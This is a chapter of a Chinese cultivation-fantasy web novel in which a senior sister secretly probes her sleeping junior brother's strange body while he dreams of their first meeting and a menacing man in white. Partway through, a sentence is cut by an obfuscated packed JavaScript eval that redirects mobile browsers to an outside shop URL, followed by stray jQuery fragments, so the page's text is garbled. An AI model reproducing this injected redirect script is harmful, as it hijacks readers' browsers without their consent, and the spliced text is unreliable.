“两个时辰才算得上是白日,虽说现在有无时辰无所差别,可你是人,该是要好好休息的。”
燕克冬被师姐安抚着落在软绵绵的褥子上,他眼皮努力的睁着。
又觉得还是再抱一抱比较合心愿,伸出手臂落在师姐将要躺下的位置,刚好卡在她天鹅般雪白修长的脖颈处,借此,二人距离又拉近几分。
万物嘴角挂着笑意,慢慢合上眼睛。
比起自己如何如何,还是师弟燕克冬的身体更为重要;在二人亲密接触间,她还是按耐不住将修力刺入对方体内认真检查着他身上奇怪的一切。
愈发深入的探索了解,她越是觉得惊悚。
师弟与自己相识也只是在前不久的下山时,可从他的只言片语中未曾得知他的真正来历。
要知道人宗好歹是人道数一数二的门派,来者不是些家族中天赋异禀的孩子、便是靠着自己修来的异于常人的修力。
她思索,难道师弟是年幼被抛弃、又被护境师尊捡回来的?
微微将眼睛张开一条缝隙,师弟没有放下紧张的戒备。
他对自己,好像真的是患得患失。
“护境师尊担得起这个名号,必然是在山头上不出去的,既然如此,那师弟是如何来的?”
万物佯装睡得惬意,将脑袋向对方脖子处蹭了蹭,以便链接其身体。
但无论多少次,师弟的身体就是跟寻常方守拙不一样。
方守拙的身体全是些骨肉或者说神道神识,修力只是在空隙中随着脉络流淌的迅速。
可师弟的身体,竟然如此空旷。
空荡荡的,一览无余;而他的修力,也只是悬浮在身体最薄弱的边缘。
若是自己注入修补化作他的一部分还好,但若是起了冲突的意思,那他体内的修力运作竟然达到了一种“高度紧张”的状态。
运作流淌速度已经不是自己可以探查。
万物闭着眼睛,她为天地所化,修力于自己而言比起是力量倒不如说是生命。
万物不止,生生不息。
难道师弟也是……
“不……”万物打断了自己的思路,同自己一般的,除了那位神识坠可欢便是……
她有些掐不住现在的师尊是如何状态,但要究其复活临世的原因,那必然还是要去找那半死不活的方守拙得知。
想到此处,她感受到师弟臂膀抽动一下,像是做了噩梦?
燕克冬睫毛弯弯,脸颊被几缕青丝缠绕,少年貌美不可三言两语描绘。
他被师姐安抚,睡得有些深沉。
梦中,他遥想二人初见时,师姐总是冷漠;她或许习惯高傲的不同任何自己一般的俗世弟子交往。
她周身散发的修力像是一团烟云薄雾,将自己安稳又淡漠世间的隔离在独属于自己的世界里。
先前风波未起,燕克冬玩闹的多,总是不认真修炼,总想着投机取巧偷得浮生半日闲。
只是那日微风拂面、春色正好,师姐什么都没做,只是路过了他的世界。
他一眼便觉得眼前姑娘为景色再添几分美好,再后来,便是她背着药筐子要离开的背影。
同行一遭,获益颇多。
他知道她只是同自己不熟悉,又不善言辞,可心肠极好,对自己也是爱护有加。
他清楚她实力强的可怕,任何的诡物鬼事都入不了眼。
但如若是自己……
梦中,燕克冬恍若重回初见那日。
只是自己小小身躯,看着师姐竟比自己高出半截的样子微微惊愕;要知道,他个子可是不矮,强壮到可以不失条例的轻松将师姐娇小身躯包裹其中。
他想迈着步子跑到师姐面前,可师姐柔弱的背影后竟然站着一个白衣男子。
白衣男子一股子仙气缭绕,衣衫上绣有浅色流云浮动的纹样,无论怎么探知都不像是凡夫俗子,只是面庞被不断流淌的修力遮住。
他看不清。
但他觉得这男子自己一定是见过的,或者说,同自己有些什么过节。
燕克冬胸/口作痛,他想坐下休息一番,等着师姐前来寻自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244274|136969||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
刚要弯曲着身子向下倒去转而干巴巴的怔住,正是这动不了的一瞬,他才看清自己的身躯。
自己哪里是什么人,哪里有什么骨肉,分明是……
他惊出一身冷汗,再抬头,温婉师姐不知何时到了眼前。
她梳着自己从未见过的发髻样式,若非要说,那便是世间已婚配女子的发髻样式。
她看向自己的目光好奇又大胆,像只活泼的白色小兔子,两只眼睛明媚阳光,又不失暗藏其中的稳重心细。
她张了张嘴巴,笑得很开心。
身后白衣男子长发几乎要垂到地上,听到师姐银铃妙音,也跟着微笑,但仍是警惕。
燕克冬觉得嗓子像是被什么东西噎住了,想咽下去不能、想吐出来也不能。
他脸上流露出不可掩盖难以言表的悲伤,不料被身后男子眼底散出股子杀气震慑半分。
师姐身后跟着的男子好似察觉自己不对劲,模糊不清的脸却能感受到臭极了。
嘴角好像也是拉的不能再拉,眼睛满是凶煞恶神的戾气,然则燕克冬来不及再思考其他,便感觉被人捏着脖子从地上拔起。
那个人不停拉扯着自己的身体,像是在介绍一件可有可无的无聊器皿。
他觉得头晕目眩,不知过去多久,才被随手丢弃在原处。
可师姐心软心善,她一下子把自己从那人手中捞到怀里,温柔熟悉的味道让燕克冬稍稍定神……
两行热泪径直沾染了师姐的衣衫……
“师姐!”
枕着师弟胳膊休息的身心顺畅的万物被这一嗓子吓得打个哆嗦。
要不是自己现在寄居在他身体中、感同身受着一起,真想对着他那张绝美的脸左右来上那么两巴掌。
她想着、刚睁开眼睛便被师弟一把拽起、抱在怀中。
燕克冬大喘粗气,猛从梦境惊醒。
他先是满头大汗的盯着同样披头散发的师姐,心脏疯了般跳动好一会才稍稍恢复。
身上轻薄的里衣也被大片冷汗浸湿。